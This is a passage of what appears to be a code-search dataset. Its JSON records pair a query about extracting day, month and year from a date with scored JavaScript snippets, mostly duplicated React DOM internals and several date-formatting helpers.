KEY_TO_ELEMENT === void 0 ? void 0 : KEY_TO_ELEMENT.get(ReactEditor.findKey(editor, node));\n\n if (!domNode) {\n throw new Error(\"Cannot resolve a DOM node from Slate node: \".concat(Scrubber.stringify(node)));\n }\n\n return domNode;\n }", "title": "" }, { "docid": "f9a78a3cbc3325861dee6eed4c540ad3", "score": "0.6274093", "text": "function getRenderedHostOrTextFromComponent(component){var rendered;while(rendered=component._renderedComponent){component=rendered;}return component;}", "title": "" }, { "docid": "8f8c2b59cf9e5b9a1ee45fa79db06ede", "score": "0.6245502", "text": "function findDOMNode(instance) {\n // Tree-shake for server bundle\n if (true) return null;\n // Only apply strict mode warning when not in production\n if (false) {}\n return _reactdom.default.findDOMNode(instance);\n}", "title": "" }, { "docid": "8f8c2b59cf9e5b9a1ee45fa79db06ede", "score": "0.6245502", "text": "function findDOMNode(instance) {\n // Tree-shake for server bundle\n if (true) return null;\n // Only apply strict mode warning when not in production\n if (false) {}\n return _reactdom.default.findDOMNode(instance);\n}", "title": "" }, { "docid": "0fe938bee96a6b759fe94e16dc590c17", "score": "0.61844134", "text": "function getRenderedNativeOrTextFromComponent(component) {\n var rendered;\n while ((rendered = component._renderedComponent)) {\n component = rendered;\n }\n\n return component;\n }", "title": "" }, { "docid": "e48c780429723d6555d443240cf7f4d6", "score": "0.61576015", "text": "function getRenderedNativeOrTextFromComponent(component) {\n var rendered;\n while (rendered = component._renderedComponent) {\n component = rendered;\n }\n return component;\n}", "title": "" }, { "docid": "e48c780429723d6555d443240cf7f4d6", "score": "0.61576015", "text": "function getRenderedNativeOrTextFromComponent(component) {\n var rendered;\n while (rendered = component._renderedComponent) {\n component = rendered;\n }\n return component;\n}", "title": "" }, { "docid": "e48c780429723d6555d443240cf7f4d6", "score": "0.61576015", "text": "function getRenderedNativeOrTextFromComponent(component) {\n var rendered;\n while (rendered = component._renderedComponent) {\n component = rendered;\n }\n return component;\n}", "title": "" }, { "docid": "e48c780429723d6555d443240cf7f4d6", "score": "0.61576015", "text": "function getRenderedNativeOrTextFromComponent(component) {\n var rendered;\n while (rendered = component._renderedComponent) {\n component = rendered;\n }\n return component;\n}", "title": "" }, { "docid": "5d13852d650da79a7bc7804e2a9c39c7", "score": "0.6106009", "text": "function getRenderedNativeOrTextFromComponent(component) {\n\t var rendered;\n\t while (rendered = component._renderedComponent) {\n\t component = rendered;\n\t }\n\t return component;\n\t}", "title": "" }, { "docid": "5d13852d650da79a7bc7804e2a9c39c7", "score": "0.6106009", "text": "function getRenderedNativeOrTextFromComponent(component) {\n\t var rendered;\n\t while (rendered = component._renderedComponent) {\n\t component = rendered;\n\t }\n\t return component;\n\t}", "title": "" }, { "docid": "5d13852d650da79a7bc7804e2a9c39c7", "score": "0.6106009", "text": "function getRenderedNativeOrTextFromComponent(component) {\n\t var rendered;\n\t while (rendered = component._renderedComponent) {\n\t component = rendered;\n\t }\n\t return component;\n\t}", "title": "" }, { "docid": "5d13852d650da79a7bc7804e2a9c39c7", "score": "0.6106009", "text": "function getRenderedNativeOrTextFromComponent(component) {\n\t var rendered;\n\t while (rendered = component._renderedComponent) {\n\t component = rendered;\n\t }\n\t return component;\n\t}", "title": "" }, { "docid": "5d13852d650da79a7bc7804e2a9c39c7", "score": "0.6106009", "text": "function getRenderedNativeOrTextFromComponent(component) {\n\t var rendered;\n\t while (rendered = component._renderedComponent) {\n\t component = rendered;\n\t }\n\t return component;\n\t}", "title": "" }, { "docid": "5d13852d650da79a7bc7804e2a9c39c7", "score": "0.6106009", "text": "function getRenderedNativeOrTextFromComponent(component) {\n\t var rendered;\n\t while (rendered = component._renderedComponent) {\n\t component = rendered;\n\t }\n\t return component;\n\t}", "title": "" }, { "docid": "d1582838989986f10622aa7360a10a36", "score": "0.6092521", "text": "function ReactDOMComponent(element) {\n var tag = element.type;\n validateDangerousTag(tag);\n this._currentElement = element;\n this._tag = tag.toLowerCase();\n this._namespaceURI = null;\n this._renderedChildren = null;\n this._previousStyle = null;\n this._previousStyleCopy = null;\n this._hostNode = null;\n this._hostParent = null;\n this._rootNodeID = 0;\n this._domID = 0;\n this._hostContainerInfo = null;\n this._wrapperState = null;\n this._topLevelWrapper = null;\n this._flags = 0;\n if (true) {\n this._ancestorInfo = null;\n setAndValidateContentChildDev.call(this, null);\n }\n}", "title": "" }, { "docid": "d1582838989986f10622aa7360a10a36", "score": "0.6092521", "text": "function ReactDOMComponent(element) {\n var tag = element.type;\n validateDangerousTag(tag);\n this._currentElement = element;\n this._tag = tag.toLowerCase();\n this._namespaceURI = null;\n this._renderedChildren = null;\n this._previousStyle = null;\n this._previousStyleCopy = null;\n this._hostNode = null;\n this._hostParent = null;\n this._rootNodeID = 0;\n this._domID = 0;\n this._hostContainerInfo = null;\n this._wrapperState = null;\n this._topLevelWrapper = null;\n this._flags = 0;\n if (true) {\n this._ancestorInfo = null;\n setAndValidateContentChildDev.call(this, null);\n }\n}", "title": "" }, { "docid": "d1582838989986f10622aa7360a10a36", "score": "0.6092521", "text": "function ReactDOMComponent(element) {\n var tag = element.type;\n validateDangerousTag(tag);\n this._currentElement = element;\n this._tag = tag.toLowerCase();\n this._namespaceURI = null;\n this._renderedChildren = null;\n this._previousStyle = null;\n this._previousStyleCopy = null;\n this._hostNode = null;\n this._hostParent = null;\n this._rootNodeID = 0;\n this._domID = 0;\n this._hostContainerInfo = null;\n this._wrapperState = null;\n this._topLevelWrapper = null;\n this._flags = 0;\n if (true) {\n this._ancestorInfo = null;\n setAndValidateContentChildDev.call(this, null);\n }\n}", "title": "" }, { "docid": "d1582838989986f10622aa7360a10a36", "score": "0.6092521", "text": "function ReactDOMComponent(element) {\n var tag = element.type;\n validateDangerousTag(tag);\n this._currentElement = element;\n this._tag = tag.toLowerCase();\n this._namespaceURI = null;\n this._renderedChildren = null;\n this._previousStyle = null;\n this._previousStyleCopy = null;\n this._hostNode = null;\n this._hostParent = null;\n this._rootNodeID = 0;\n this._domID = 0;\n this._hostContainerInfo = null;\n this._wrapperState = null;\n this._topLevelWrapper = null;\n this._flags = 0;\n if (true) {\n this._ancestorInfo = null;\n setAndValidateContentChildDev.call(this, null);\n }\n}", "title": "" }, { "docid": "d1582838989986f10622aa7360a10a36", "score": "0.6092521", "text": "function ReactDOMComponent(element) {\n var tag = element.type;\n validateDangerousTag(tag);\n this._currentElement = element;\n this._tag = tag.toLowerCase();\n this._namespaceURI = null;\n this._renderedChildren = null;\n this._previousStyle = null;\n this._previousStyleCopy = null;\n this._hostNode = null;\n this._hostParent = null;\n this._rootNodeID = 0;\n this._domID = 0;\n this._hostContainerInfo = null;\n this._wrapperState = null;\n this._topLevelWrapper = null;\n this._flags = 0;\n if (true) {\n this._ancestorInfo = null;\n setAndValidateContentChildDev.call(this, null);\n }\n}", "title": "" }, { "docid": "bfff92b6a513960ee3dbd8a78a774e7e", "score": "0.60855156", "text": "function ReactDOMComponent(element) {\n var tag = element.type;\n validateDangerousTag(tag);\n this._currentElement = element;\n this._tag = tag.toLowerCase();\n this._namespaceURI = null;\n this._renderedChildren = null;\n this._previousStyle = null;\n this._previousStyleCopy = null;\n this._hostNode = null;\n this._hostParent = null;\n this._rootNodeID = 0;\n this._domID = 0;\n this._hostContainerInfo = null;\n this._wrapperState = null;\n this._topLevelWrapper = null;\n this._flags = 0;\n if (false) {\n this._ancestorInfo = null;\n setAndValidateContentChildDev.call(this, null);\n }\n}", "title": "" }, { "docid": "bfff92b6a513960ee3dbd8a78a774e7e", "score": "0.60855156", "text": "function ReactDOMComponent(element) {\n var tag = element.type;\n validateDangerousTag(tag);\n this._currentElement = element;\n this._tag = tag.toLowerCase();\n this._namespaceURI = null;\n this._renderedChildren = null;\n this._previousStyle = null;\n this._previousStyleCopy = null;\n this._hostNode = null;\n this._hostParent = null;\n this._rootNodeID = 0;\n this._domID = 0;\n this._hostContainerInfo = null;\n this._wrapperState = null;\n this._topLevelWrapper = null;\n this._flags = 0;\n if (false) {\n this._ancestorInfo = null;\n setAndValidateContentChildDev.call(this, null);\n }\n}", "title": "" }, { "docid": "bfff92b6a513960ee3dbd8a78a774e7e", "score": "0.60855156", "text": "function ReactDOMComponent(element) {\n var tag = element.type;\n validateDangerousTag(tag);\n this._currentElement = element;\n this._tag = tag.toLowerCase();\n this._namespaceURI = null;\n this._renderedChildren = null;\n this._previousStyle = null;\n this._previousStyleCopy = null;\n this._hostNode = null;\n this._hostParent = null;\n this._rootNodeID = 0;\n this._domID = 0;\n this._hostContainerInfo = null;\n this._wrapperState = null;\n this._topLevelWrapper = null;\n this._flags = 0;\n if (false) {\n this._ancestorInfo = null;\n setAndValidateContentChildDev.call(this, null);\n }\n}", "title": "" }, { "docid": "bfff92b6a513960ee3dbd8a78a774e7e", "score": "0.60855156", "text": "function ReactDOMComponent(element) {\n var tag = element.type;\n validateDangerousTag(tag);\n this._currentElement = element;\n this._tag = tag.toLowerCase();\n this._namespaceURI = null;\n this._renderedChildren = null;\n this._previousStyle = null;\n this._previousStyleCopy = null;\n this._hostNode = null;\n this._hostParent = null;\n this._rootNodeID = 0;\n this._domID = 0;\n this._hostContainerInfo = null;\n this._wrapperState = null;\n this._topLevelWrapper = null;\n this._flags = 0;\n if (false) {\n this._ancestorInfo = null;\n setAndValidateContentChildDev.call(this, null);\n }\n}", "title": "" }, { "docid": "bfff92b6a513960ee3dbd8a78a774e7e", "score": "0.60855156", "text": "function ReactDOMComponent(element) {\n var tag = element.type;\n validateDangerousTag(tag);\n this._currentElement = element;\n this._tag = tag.toLowerCase();\n this._namespaceURI = null;\n this._renderedChildren = null;\n this._previousStyle = null;\n this._previousStyleCopy = null;\n this._hostNode = null;\n this._hostParent = null;\n this._rootNodeID = 0;\n this._domID = 0;\n this._hostContainerInfo = null;\n this._wrapperState = null;\n this._topLevelWrapper = null;\n this._flags = 0;\n if (false) {\n this._ancestorInfo = null;\n setAndValidateContentChildDev.call(this, null);\n }\n}", "title": "" }, { "docid": "bfff92b6a513960ee3dbd8a78a774e7e", "score": "0.60855156", "text": "function ReactDOMComponent(element) {\n var tag = element.type;\n validateDangerousTag(tag);\n this._currentElement = element;\n this._tag = tag.toLowerCase();\n this._namespaceURI = null;\n this._renderedChildren = null;\n this._previousStyle = null;\n this._previousStyleCopy = null;\n this._hostNode = null;\n this._hostParent = null;\n this._rootNodeID = 0;\n this._domID = 0;\n this._hostContainerInfo = null;\n this._wrapperState = null;\n this._topLevelWrapper = null;\n this._flags = 0;\n if (false) {\n this._ancestorInfo = null;\n setAndValidateContentChildDev.call(this, null);\n }\n}", "title": "" }, { "docid": "bfff92b6a513960ee3dbd8a78a774e7e", "score": "0.60855156", "text": "function ReactDOMComponent(element) {\n var tag = element.type;\n validateDangerousTag(tag);\n this._currentElement = element;\n this._tag = tag.toLowerCase();\n this._namespaceURI = null;\n this._renderedChildren = null;\n this._previousStyle = null;\n this._previousStyleCopy = null;\n this._hostNode = null;\n this._hostParent = null;\n this._rootNodeID = 0;\n this._domID = 0;\n this._hostContainerInfo = null;\n this._wrapperState = null;\n this._topLevelWrapper = null;\n this._flags = 0;\n if (false) {\n this._ancestorInfo = null;\n setAndValidateContentChildDev.call(this, null);\n }\n}", "title": "" }, { "docid": "bfff92b6a513960ee3dbd8a78a774e7e", "score": "0.60855156", "text": "function ReactDOMComponent(element) {\n var tag = element.type;\n validateDangerousTag(tag);\n this._currentElement = element;\n this._tag = tag.toLowerCase();\n this._namespaceURI = null;\n this._renderedChildren = null;\n this._previousStyle = null;\n this._previousStyleCopy = null;\n this._hostNode = null;\n this._hostParent = null;\n this._rootNodeID = 0;\n this._domID = 0;\n this._hostContainerInfo = null;\n this._wrapperState = null;\n this._topLevelWrapper = null;\n this._flags = 0;\n if (false) {\n this._ancestorInfo = null;\n setAndValidateContentChildDev.call(this, null);\n }\n}", "title": "" }, { "docid": "bfff92b6a513960ee3dbd8a78a774e7e", "score": "0.60855156", "text": "function ReactDOMComponent(element) {\n var tag = element.type;\n validateDangerousTag(tag);\n this._currentElement = element;\n this._tag = tag.toLowerCase();\n this._namespaceURI = null;\n this._renderedChildren = null;\n this._previousStyle = null;\n this._previousStyleCopy = null;\n this._hostNode = null;\n this._hostParent = null;\n this._rootNodeID = 0;\n this._domID = 0;\n this._hostContainerInfo = null;\n this._wrapperState = null;\n this._topLevelWrapper = null;\n this._flags = 0;\n if (false) {\n this._ancestorInfo = null;\n setAndValidateContentChildDev.call(this, null);\n }\n}", "title": "" }, { "docid": "bfff92b6a513960ee3dbd8a78a774e7e", "score": "0.60855156", "text": "function ReactDOMComponent(element) {\n var tag = element.type;\n validateDangerousTag(tag);\n this._currentElement = element;\n this._tag = tag.toLowerCase();\n this._namespaceURI = null;\n this._renderedChildren = null;\n this._previousStyle = null;\n this._previousStyleCopy = null;\n this._hostNode = null;\n this._hostParent = null;\n this._rootNodeID = 0;\n this._domID = 0;\n this._hostContainerInfo = null;\n this._wrapperState = null;\n this._topLevelWrapper = null;\n this._flags = 0;\n if (false) {\n this._ancestorInfo = null;\n setAndValidateContentChildDev.call(this, null);\n }\n}", "title": "" }, { "docid": "bfff92b6a513960ee3dbd8a78a774e7e", "score": "0.60855156", "text": "function ReactDOMComponent(element) {\n var tag = element.type;\n validateDangerousTag(tag);\n this._currentElement = element;\n this._tag = tag.toLowerCase();\n this._namespaceURI = null;\n this._renderedChildren = null;\n this._previousStyle = null;\n this._previousStyleCopy = null;\n this._hostNode = null;\n this._hostParent = null;\n this._rootNodeID = 0;\n this._domID = 0;\n this._hostContainerInfo = null;\n this._wrapperState = null;\n this._topLevelWrapper = null;\n this._flags = 0;\n if (false) {\n this._ancestorInfo = null;\n setAndValidateContentChildDev.call(this, null);\n }\n}", "title": "" }, { "docid": "bfff92b6a513960ee3dbd8a78a774e7e", "score": "0.60855156", "text": "function ReactDOMComponent(element) {\n var tag = element.type;\n validateDangerousTag(tag);\n this._currentElement = element;\n this._tag = tag.toLowerCase();\n this._namespaceURI = null;\n this._renderedChildren = null;\n this._previousStyle = null;\n this._previousStyleCopy = null;\n this._hostNode = null;\n this._hostParent = null;\n this._rootNodeID = 0;\n this._domID = 0;\n this._hostContainerInfo = null;\n this._wrapperState = null;\n this._topLevelWrapper = null;\n this._flags = 0;\n if (false) {\n this._ancestorInfo = null;\n setAndValidateContentChildDev.call(this, null);\n }\n}", "title": "" }, { "docid": "6e9f0e9f9e122292370d21b10a445e81", "score": "0.6073497", "text": "function ReactDOMComponent(element) {\n var tag = element.type;\n validateDangerousTag(tag);\n this._currentElement = element;\n this._tag = tag.toLowerCase();\n this._namespaceURI = null;\n this._renderedChildren = null;\n this._previousStyle = null;\n this._previousStyleCopy = null;\n this._hostNode = null;\n this._hostParent = null;\n this._rootNodeID = 0;\n this._domID = 0;\n this._hostContainerInfo = null;\n this._wrapperState = null;\n this._topLevelWrapper = null;\n this._flags = 0;\n if (process.env.NODE_ENV !== 'production') {\n this._ancestorInfo = null;\n setAndValidateContentChildDev.call(this, null);\n }\n}", "title": "" }, { "docid": "6e9f0e9f9e122292370d21b10a445e81", "score": "0.6073497", "text": "function ReactDOMComponent(element) {\n var tag = element.type;\n validateDangerousTag(tag);\n this._currentElement = element;\n this._tag = tag.toLowerCase();\n this._namespaceURI = null;\n this._renderedChildren = null;\n this._previousStyle = null;\n this._previousStyleCopy = null;\n this._hostNode = null;\n this._hostParent = null;\n this._rootNodeID = 0;\n this._domID = 0;\n this._hostContainerInfo = null;\n this._wrapperState = null;\n this._topLevelWrapper = null;\n this._flags = 0;\n if (process.env.NODE_ENV !== 'production') {\n this._ancestorInfo = null;\n setAndValidateContentChildDev.call(this, null);\n }\n}", "title": "" }, { "docid": "6e9f0e9f9e122292370d21b10a445e81", "score": "0.6073497", "text": "function ReactDOMComponent(element) {\n var tag = element.type;\n validateDangerousTag(tag);\n this._currentElement = element;\n this._tag = tag.toLowerCase();\n this._namespaceURI = null;\n this._renderedChildren = null;\n this._previousStyle = null;\n this._previousStyleCopy = null;\n this._hostNode = null;\n this._hostParent = null;\n this._rootNodeID = 0;\n this._domID = 0;\n this._hostContainerInfo = null;\n this._wrapperState = null;\n this._topLevelWrapper = null;\n this._flags = 0;\n if (process.env.NODE_ENV !== 'production') {\n this._ancestorInfo = null;\n setAndValidateContentChildDev.call(this, null);\n }\n}", "title": "" }, { "docid": "6e9f0e9f9e122292370d21b10a445e81", "score": "0.6073497", "text": "function ReactDOMComponent(element) {\n var tag = element.type;\n validateDangerousTag(tag);\n this._currentElement = element;\n this._tag = tag.toLowerCase();\n this._namespaceURI = null;\n this._renderedChildren = null;\n this._previousStyle = null;\n this._previousStyleCopy = null;\n this._hostNode = null;\n this._hostParent = null;\n this._rootNodeID = 0;\n this._domID = 0;\n this._hostContainerInfo = null;\n this._wrapperState = null;\n this._topLevelWrapper = null;\n this._flags = 0;\n if (process.env.NODE_ENV !== 'production') {\n this._ancestorInfo = null;\n setAndValidateContentChildDev.call(this, null);\n }\n}", "title": "" }, { "docid": "6e9f0e9f9e122292370d21b10a445e81", "score": "0.6073497", "text": "function ReactDOMComponent(element) {\n var tag = element.type;\n validateDangerousTag(tag);\n this._currentElement = element;\n this._tag = tag.toLowerCase();\n this._namespaceURI = null;\n this._renderedChildren = null;\n this._previousStyle = null;\n this._previousStyleCopy = null;\n this._hostNode = null;\n this._hostParent = null;\n this._rootNodeID = 0;\n this._domID = 0;\n this._hostContainerInfo = null;\n this._wrapperState = null;\n this._topLevelWrapper = null;\n this._flags = 0;\n if (process.env.NODE_ENV !== 'production') {\n this._ancestorInfo = null;\n setAndValidateContentChildDev.call(this, null);\n }\n}", "title": "" }, { "docid": "6e9f0e9f9e122292370d21b10a445e81", "score": "0.6073497", "text": "function ReactDOMComponent(element) {\n var tag = element.type;\n validateDangerousTag(tag);\n this._currentElement = element;\n this._tag = tag.toLowerCase();\n this._namespaceURI = null;\n this._renderedChildren = null;\n this._previousStyle = null;\n this._previousStyleCopy = null;\n this._hostNode = null;\n this._hostParent = null;\n this._rootNodeID = 0;\n this._domID = 0;\n this._hostContainerInfo = null;\n this._wrapperState = null;\n this._topLevelWrapper = null;\n this._flags = 0;\n if (process.env.NODE_ENV !== 'production') {\n this._ancestorInfo = null;\n setAndValidateContentChildDev.call(this, null);\n }\n}", "title": "" }, { "docid": "6e9f0e9f9e122292370d21b10a445e81", "score": "0.6073497", "text": "function ReactDOMComponent(element) {\n var tag = element.type;\n validateDangerousTag(tag);\n this._currentElement = element;\n this._tag = tag.toLowerCase();\n this._namespaceURI = null;\n this._renderedChildren = null;\n this._previousStyle = null;\n this._previousStyleCopy = null;\n this._hostNode = null;\n this._hostParent = null;\n this._rootNodeID = 0;\n this._domID = 0;\n this._hostContainerInfo = null;\n this._wrapperState = null;\n this._topLevelWrapper = null;\n this._flags = 0;\n if (process.env.NODE_ENV !== 'production') {\n this._ancestorInfo = null;\n setAndValidateContentChildDev.call(this, null);\n }\n}", "title": "" }, { "docid": "6e9f0e9f9e122292370d21b10a445e81", "score": "0.6073497", "text": "function ReactDOMComponent(element) {\n var tag = element.type;\n validateDangerousTag(tag);\n this._currentElement = element;\n this._tag = tag.toLowerCase();\n this._namespaceURI = null;\n this._renderedChildren = null;\n this._previousStyle = null;\n this._previousStyleCopy = null;\n this._hostNode = null;\n this._hostParent = null;\n this._rootNodeID = 0;\n this._domID = 0;\n this._hostContainerInfo = null;\n this._wrapperState = null;\n this._topLevelWrapper = null;\n this._flags = 0;\n if (process.env.NODE_ENV !== 'production') {\n this._ancestorInfo = null;\n setAndValidateContentChildDev.call(this, null);\n }\n}", "title": "" } ]
683ee3e20dafd69d8fe8b782b8b1b5cd
Extracts the basic component parts of a date (day, month and year) to the expected format.
[ { "docid": "1e0622eba4fad2f1756370de0684917f", "score": "0.6992598", "text": "static _extractDateParts(date) {\n return {\n day: date.getDate(),\n month: date.getMonth(),\n year: date.getFullYear()\n };\n }", "title": "" } ]
[ { "docid": "8699849f1e3a47e5340da92313f5a5bf", "score": "0.68684363", "text": "function getDateParts(format, date) {\n var date = format.parse(date),\n year = date.getFullYear().toString().substr(2, 2),\n month = date.getMonth() + 1,\n day = date.getDate();\n\n return { year: year, month: month, day: day };\n }", "title": "" }, { "docid": "40cccad4d746a8d7ebdd9b10c437478b", "score": "0.6696782", "text": "function makeDate(fmt,fulldate) {\n if(fulldate.match(/[a-z]+, [0-9]+ [a-z]+ [0-9]{4}/gi)) { // dddd dd mmmm yyyy\n var day = fulldate.match(/[a-z]+/gi)[0],\n date = fulldate.match(/[0-9]+/)[0],\n month = fulldate.match(/[a-z]+/gi)[1],\n year = fulldate.match(/[0-9]{4}/)[0];\n if(fmt === \"dmy\") {\n return day+\", \"+date+\" \"+month+\" \"+year;\n } else if(fmt === \"mdy\") {\n return day+\", \"+month+\" \"+date+\", \"+year;\n } else if(fmt === \"ymd\") {\n return year+\" \"+month+\" \"+date+\" (\"+day+\")\";\n }\n } else if(fulldate.match(/[0-9]+ [a-z]+ [0-9]{4}/i)) { // dd mmmm yyyy\n var date = fulldate.match(/[0-9]+/)[0],\n month = fulldate.match(/[a-z]+/i)[0],\n year = fulldate.match(/[0-9]{4}/)[0];\n if(fmt === \"dmy\") {\n return date+\" \"+month+\" \"+year;\n } else if(fmt === \"mdy\") {\n return month+\" \"+date+\", \"+year;\n } else if(fmt === \"ymd\") {\n return year+\" \"+month+\" \"+date;\n }\n } else if(fulldate.match(/[0-9]+ [a-z]+/i)) { // dd mmmm\n var date = fulldate.match(/[0-9]+/)[0],\n month = fulldate.match(/[a-z]+/i)[0];\n if(fmt === \"dmy\") {\n return date+\" \"+month;\n } else if(fmt === \"mdy\" || fmt === \"ymd\") {\n return month+\" \"+date;\n }\n } else if(fulldate.match(/[a-z]+ [0-9]{4}/i)) { // mmmm yyyy\n var month = fulldate.match(/[a-z]+/i)[0],\n year = fulldate.match(/[0-9]{4}/)[0];\n if(fmt === \"dmy\" || fmt === \"mdy\") {\n return month+\" \"+year;\n } else if(fmt === \"ymd\") {\n return year+\" \"+month;\n }\n } else {\n return fulldate;\n }\n}", "title": "" }, { "docid": "358ad6ea7d286c492e45453dc425c65c", "score": "0.6415413", "text": "formatDate(date_unformatted){\n var day = date_unformatted.substr(8, 2);\n var month = date_unformatted.substr(5, 2);\n var year = date_unformatted.substr(0, 4);\n var date_formatted = day + '.' + month + '.' + year;\n return date_formatted;\n }", "title": "" }, { "docid": "27f329cbe64e3a103f96de48f6626189", "score": "0.63510793", "text": "function reconstructStringDate(date, index){\n // console.log(date)\n // console.log(index)\n // console.log(\"======\")\n // console.log(\"year: \", date.substring(index+2))\n // console.log(\"month: \", date.substring(0,2))\n // console.log(\"day: \", date.substring(3,5))\n let year = date.substring(index+2);\n let month = date.substring(0,2);\n let day = date.substring(3,5);\n let res = `${year}-${month}-${day}`\n return res;\n}", "title": "" }, { "docid": "4a62ca6c561e3e581d2102ea7ed1590f", "score": "0.6313091", "text": "function formatDateData(date) {\n\tlet splitCharacter;\n\tif (date.includes(\"|\")) {\n\t\tsplitCharacter = \"|\";\n\t} else if (date.includes(\"-\")) {\n\t\tsplitCharacter = \"-\";\n\t}\n\n\t//if num is a single digit add leading 0\n\tconst dateArray = date.split(splitCharacter);\n\tlet month = dateArray[0] < 10 ? \"0\" + dateArray[0].toString() : dateArray[0].toString();\n\tlet day = dateArray[1] < 10 ? \"0\" + dateArray[1].toString() : dateArray[1].toString();\n\tlet year = dateArray[2];\n\n\treturn new Date(year + \"-\" + month + \"-\" + day);\n}", "title": "" }, { "docid": "03ba68816b439a3346ac475615af9620", "score": "0.62943137", "text": "function formatDate(input) {\n var datePart = input.match(/\\d+/g),\n year = datePart[0].substring(2), // get only two digits\n month = datePart[1],\n day = datePart[2];\n\n return day + '/' + month + '/' + year;\n}", "title": "" }, { "docid": "c315de3cb3a83882db9c8cc53b2b69e5", "score": "0.615583", "text": "function formatDateddMMyyyy(d){\n return d.substr(0,2) + '/' + d.substr(2,2) + '/' + d.substr(4,4) ;\n }", "title": "" }, { "docid": "e845b800bbafef3ae9eb98e6be5b50dd", "score": "0.61173135", "text": "function transformDate(d) {\n return d.substr(6) + '-' + d.substr(3, 2) + '-' + d.substr(0, 2);\n }", "title": "" }, { "docid": "d9bb81170f5796d38594c9b83cd0eb90", "score": "0.61170113", "text": "function formatdate(found) {\n\t\tif (!found) {\n\t\t\treturn {};\n\t\t}\n\t\tfound = found.replace('of ', '');\n\t\tfound = found.replace('the ', '');\n\t\tfound = found.replace('th ', ' ');\n\t\tfound = found.replace('rd ', ' ');\n\t\tfound = found.replace('1st ', '01');\n\n\t\tvar month = /july|august|september|october|november|december|january|february|march|april|may|june/i.exec(found);\n\t\tmonth = '' + month;\n\t\tmonth = month.toLowerCase();\n\t\tvar monthnum = 0;\n\n\t\tif (month == 'january') {\n\t\t\tmonthnum = '01';\n\t\t}\n\t\tif (month == 'february') {\n\t\t\tmonthnum = '02';\n\t\t}\n\t\tif (month == 'march') {\n\t\t\tmonthnum = '03';\n\t\t}\n\t\tif (month == 'april') {\n\t\t\tmonthnum = '04';\n\t\t}\n\t\tif (month == 'may') {\n\t\t\tmonthnum = '05';\n\t\t}\n\t\tif (month == 'june') {\n\t\t\tmonthnum = '06';\n\t\t}\n\t\tif (month == 'july') {\n\t\t\tmonthnum = '07';\n\t\t}\n\t\tif (month == 'august') {\n\t\t\tmonthnum = '08';\n\t\t}\n\t\tif (month == 'september') {\n\t\t\tmonthnum = '09';\n\t\t}\n\t\tif (month == 'october') {\n\t\t\tmonthnum = '10';\n\t\t}\n\t\tif (month == 'november') {\n\t\t\tmonthnum = '11';\n\t\t}\n\t\tif (month == 'december') {\n\t\t\tmonthnum = '12';\n\t\t}\n\n\t\tif (found.match('B.C.')) {\n\t\t\tvar year = /[0-9]{3,4}/i.exec(found);\n\t\t\tyear = year + '';\n\t\t\tif (year.length == 3) {\n\t\t\t\tyear = '0' + year;\n\t\t\t}\n\t\t\tif (year.length == 2) {\n\t\t\t\tyear = '00' + year;\n\t\t\t}\n\t\t\tyear = '-' + year;\n\t\t\treturn year;\n\t\t} //something bc\n\t\telse {\n\t\t\tvar year = /[0-9]{4}/i.exec(found);\n\t\t} //normal years\n\t\tyear = '' + year;\n\t\tfound = found.replace(year, '');\n\t\tvar date = /[0-9]{1,2}/i.exec(found);\n\n\t\tif (date != null) {\n\t\t\tif (date < 10) {\n\t\t\t\tdate = '0' + date;\n\t\t\t} //turn 1 into 01\n\t\t}\n\n\t\treturn {\n\t\t\t\"year\": year,\n\t\t\t\"month\": monthnum,\n\t\t\t\"day\": date\n\t\t};\n\t}", "title": "" }, { "docid": "0ea8346f0387569f420f9db09935fe46", "score": "0.60977113", "text": "function getDateFormats(date) {\n let dateStr = convertDatetoStr(date);\n\n let ddmmyyyy = dateStr.day + dateStr.month + dateStr.year;\n let mmddyyyy = dateStr.month + dateStr.day + dateStr.year;\n let yyyymmdd = dateStr.year + dateStr.month + dateStr.day;\n let ddmmyy = dateStr.day + dateStr.month + dateStr.year.slice(-2);\n let mmddyy = dateStr.month + dateStr.day + dateStr.year.slice(-2);\n let yyddmm = dateStr.year.slice(-2) + dateStr.day + dateStr.month;\n\n return [ddmmyyyy, mmddyyyy, yyyymmdd, ddmmyy, mmddyy, yyddmm];\n}", "title": "" }, { "docid": "6ed48cd81d47c93de290f588c6797404", "score": "0.609027", "text": "function parse_MM_DD_YYYY(date, obj) {\n if (!date) return;\n let m = date.split(/\\D+/, 3).map(function (e) {\n return parseInt(e, 10);\n });\n if (m[0] !== undefined) {\n obj.month = m[0];\n if (m[1] !== undefined) {\n obj.day = m[1];\n if (m[2] !== undefined) {\n obj.year = m[2];\n }\n }\n }\n}", "title": "" }, { "docid": "f97eaaeff70c5a76009409883927f0c9", "score": "0.60808367", "text": "function yyyymmdd(date){\n\tvar dd = date.substr(0,2);\n\tvar mm = date.substr(3,2);\n\tvar yyyy = date.substr(6,4);\n\treturn yyyy+mm+dd;\n}", "title": "" }, { "docid": "492799b9869efe3e2519c81c3ffd1c01", "score": "0.60453796", "text": "function formattedDate(formatDate) {\n var day;\n var month;\n var year;\n formatDate = formatDate.slice(1, -1);\n formatDate = formatDate.split(\" \")[0];\n formatDate = formatDate.split(\"-\");\n year = formatDate[0];\n month = formatDate[1];\n day = formatDate[2];\n if (year.length < 4) {\n year = \"2\" + year;\n }\n var myDate = month + \"/\" + day + \"/\" + year;\n return myDate;\n}", "title": "" }, { "docid": "485cd61eb151f491107aaf0609209142", "score": "0.60285175", "text": "get getDateformate() {\n return /(\\d{2})\\/(\\d{2})\\/(\\d{4})/\n }", "title": "" }, { "docid": "e50e2584afce784f39ac8bbc3debe342", "score": "0.5999339", "text": "function formateDate(date) {\n\n const regEx_Date_YYYY_MM_DD = /^\\d{4}-\\d{2}-\\d{2}$/;\n const regEx_Date_YYYY_MM = /^\\d{4}-\\d{2}$/;\n const regEx_Date_YYYY = /^\\d{4}$/;\n if(date.match(regEx_Date_YYYY_MM_DD))\n {\n const when = new Date(date);\n return when.getDate() + \".\" + (when.getMonth()+1) + \".\" + when.getFullYear();\n }\n else if(date.match(regEx_Date_YYYY_MM))\n {\n const when = new Date(date);\n return (when.getMonth()+1) + \".\" + when.getFullYear();\n }\n else if(regEx_Date_YYYY)\n return date;\n else\n {\n return false\n } \n\n}", "title": "" }, { "docid": "d2791773e54e1da4591418f00c5810c5", "score": "0.5978515", "text": "function dateToDate(date){\r\n let year = date.slice(2,4);\r\n let month = date.slice(5,7);\r\n let day = date.slice(8,10);\r\n return `${year}:${month}:${day}`;\r\n}", "title": "" }, { "docid": "ef4d1704f28cb8c8b8b9276c515cf77c", "score": "0.59754956", "text": "function parseDate(raw_date) {\n function parseMonth(month) {\n switch (month) {\n case 'Jan':\n return '01';\n 